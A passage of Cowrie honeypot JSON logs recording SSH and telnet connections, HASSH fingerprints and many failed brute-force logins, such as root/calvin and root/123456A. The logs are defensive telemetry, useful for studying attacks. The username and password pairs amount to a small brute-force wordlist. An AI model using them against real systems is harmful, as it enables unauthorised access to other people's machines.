2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:32:04.279324Z","src_ip":"92.118.39.71","session":"9553de136d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:32:05.123320Z","src_ip":"92.118.39.71","session":"9553de136d3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:32:06.351670Z","src_ip":"92.118.39.71","session":"9553de136d3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.17855668067932,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:32:09.822937Z","src_ip":"222.97.112.179","session":"243f69daa05a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.97.112.179","src_port":55465,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f877e294c45","protocol":"telnet","message":"New connection: 222.97.112.179:55465 (159.203.135.109:23) [session: 5f877e294c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:32:10.023353Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"calvin","message":"login attempt [root/calvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:32:10.882133Z","src_ip":"222.97.112.179","session":"5f877e294c45","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:32:11.809543Z","src_ip":"222.97.112.179","session":"5f877e294c45","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:32:12.717790Z","src_ip":"222.97.112.179","session":"5f877e294c45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.21.248.43","src_port":58782,"dst_ip":"159.203.135.109","dst_port":22,"session":"8473e3004d85","protocol":"ssh","message":"New connection: 213.21.248.43:58782 (159.203.135.109:22) [session: 8473e3004d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:32:15.323723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:32:15.327149Z","src_ip":"213.21.248.43","session":"8473e3004d85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:32:15.407386Z","src_ip":"213.21.248.43","session":"8473e3004d85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"temptemp","message":"login attempt [root/temptemp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:32:15.753712Z","src_ip":"213.21.248.43","session":"8473e3004d85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:32:16.835002Z","src_ip":"213.21.248.43","session":"8473e3004d85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45740,"dst_ip":"159.203.135.109","dst_port":23,"session":"71c427156a12","protocol":"telnet","message":"New connection: 170.64.224.25:45740 (159.203.135.109:23) [session: 71c427156a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:32:41.225134Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.25.72","src_port":32930,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e280ecd8d86","protocol":"ssh","message":"New connection: 154.221.25.72:32930 (159.203.135.109:22) [session: 5e280ecd8d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:32:41.952001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:32:41.956318Z","src_ip":"154.221.25.72","session":"5e280ecd8d86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:32:42.160964Z","src_ip":"154.221.25.72","session":"5e280ecd8d86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456A.","message":"login attempt [root/123456A.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:32:42.959733Z","src_ip":"154.221.25.72","session":"5e280ecd8d86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.83574914932251,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:32:43.858867Z","src_ip":"222.97.112.179","session":"5f877e294c45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.97.112.179","src_port":56074,"dst_ip":"159.203.135.109","dst_port":23,"session":"82da0941b3a5","protocol":"telnet","message":"New connection: 222.97.112.179:56074 (159.203.135.109:23) [session: 82da0941b3a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:32:44.055478Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:32:44.163370Z","src_ip":"154.221.25.72","session":"5e280ecd8d86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"b'\\xcc\\xd1\\xd1\\xca'","password":"b'\\xd5\\xd2\\xc8\\x8f\\x8c\\x8d\\x8a'","message":"login attempt [b'\\xcc\\xd1\\xd1\\xca'/b'\\xd5\\xd2\\xc8\\x8f\\x8c\\x8d\\x8a'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:32:44.936342Z","src_ip":"222.97.112.179","session":"82da0941b3a5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:32:45.840515Z","src_ip":"222.97.112.179","session":"82da0941b3a5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:32:46.744393Z","src_ip":"222.97.112.179","session":"82da0941b3a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":21.059374809265137,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:33:02.284411Z","src_ip":"170.64.224.25","session":"71c427156a12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.127.234","src_port":49568,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0f9c72f8957","protocol":"ssh","message":"New connection: 14.103.127.234:49568 (159.203.135.109:22) [session: d0f9c72f8957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:33:12.543496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:33:12.548028Z","src_ip":"14.103.127.234","session":"d0f9c72f8957","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:33:13.696564Z","src_ip":"14.103.127.234","session":"d0f9c72f8957","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789654123","message":"login attempt [root/789654123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:33:14.366822Z","src_ip":"14.103.127.234","session":"d0f9c72f8957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:33:15.592844Z","src_ip":"14.103.127.234","session":"d0f9c72f8957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.77320837974548,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:33:17.828589Z","src_ip":"222.97.112.179","session":"82da0941b3a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.97.112.179","src_port":56730,"dst_ip":"159.203.135.109","dst_port":23,"session":"7091b7ea6966","protocol":"telnet","message":"New connection: 222.97.112.179:56730 (159.203.135.109:23) [session: 7091b7ea6966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:33:18.028017Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:33:18.877445Z","src_ip":"222.97.112.179","session":"7091b7ea6966","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:33:19.793560Z","src_ip":"222.97.112.179","session":"7091b7ea6966","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:33:20.706218Z","src_ip":"222.97.112.179","session":"7091b7ea6966","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.814288854599,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:33:51.842178Z","src_ip":"222.97.112.179","session":"7091b7ea6966","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.71","src_port":56736,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b36f4e1b4dd","protocol":"ssh","message":"New connection: 92.118.39.71:56736 (159.203.135.109:22) [session: 6b36f4e1b4dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:33:51.922131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:33:51.925974Z","src_ip":"92.118.39.71","session":"6b36f4e1b4dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.97.112.179","src_port":57380,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0fcec199012","protocol":"telnet","message":"New connection: 222.97.112.179:57380 (159.203.135.109:23) [session: c0fcec199012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:33:52.030249Z"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:33:52.034307Z","src_ip":"92.118.39.71","session":"6b36f4e1b4dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12","message":"login attempt [root/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:33:52.638757Z","src_ip":"92.118.39.71","session":"6b36f4e1b4dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"\"??$","password":"$#7?9>7?>","message":"login attempt [\"??$/$#7?9>7?>] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:33:52.876528Z","src_ip":"222.97.112.179","session":"c0fcec199012","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:33:53.752743Z","src_ip":"222.97.112.179","session":"c0fcec199012","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:33:53.831485Z","src_ip":"92.118.39.71","session":"6b36f4e1b4dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:33:54.628560Z","src_ip":"222.97.112.179","session":"c0fcec199012","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":56226,"dst_ip":"159.203.135.109","dst_port":23,"session":"343ca624cfaa","protocol":"telnet","message":"New connection: 107.6.151.170:56226 (159.203.135.109:23) [session: 343ca624cfaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:33:59.549744Z"}
{"eventid":"cowrie.session.closed","duration":0.004501819610595703,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:33:59.554110Z","src_ip":"107.6.151.170","session":"343ca624cfaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.21.248.43","src_port":53070,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a6f7da328f6","protocol":"ssh","message":"New connection: 213.21.248.43:53070 (159.203.135.109:22) [session: 2a6f7da328f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:04.687742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:04.691870Z","src_ip":"213.21.248.43","session":"2a6f7da328f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:04.769834Z","src_ip":"213.21.248.43","session":"2a6f7da328f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"paul","message":"login attempt [root/paul] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:05.117098Z","src_ip":"213.21.248.43","session":"2a6f7da328f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:06.197988Z","src_ip":"213.21.248.43","session":"2a6f7da328f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":53108,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f7c309d322a","protocol":"ssh","message":"New connection: 91.92.40.4:53108 (10.17.0.5:22) [session: 5f7c309d322a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:11.399870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:11.403285Z","src_ip":"91.92.40.4","session":"5f7c309d322a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:11.484324Z","src_ip":"91.92.40.4","session":"5f7c309d322a","protocol":"ssh"}
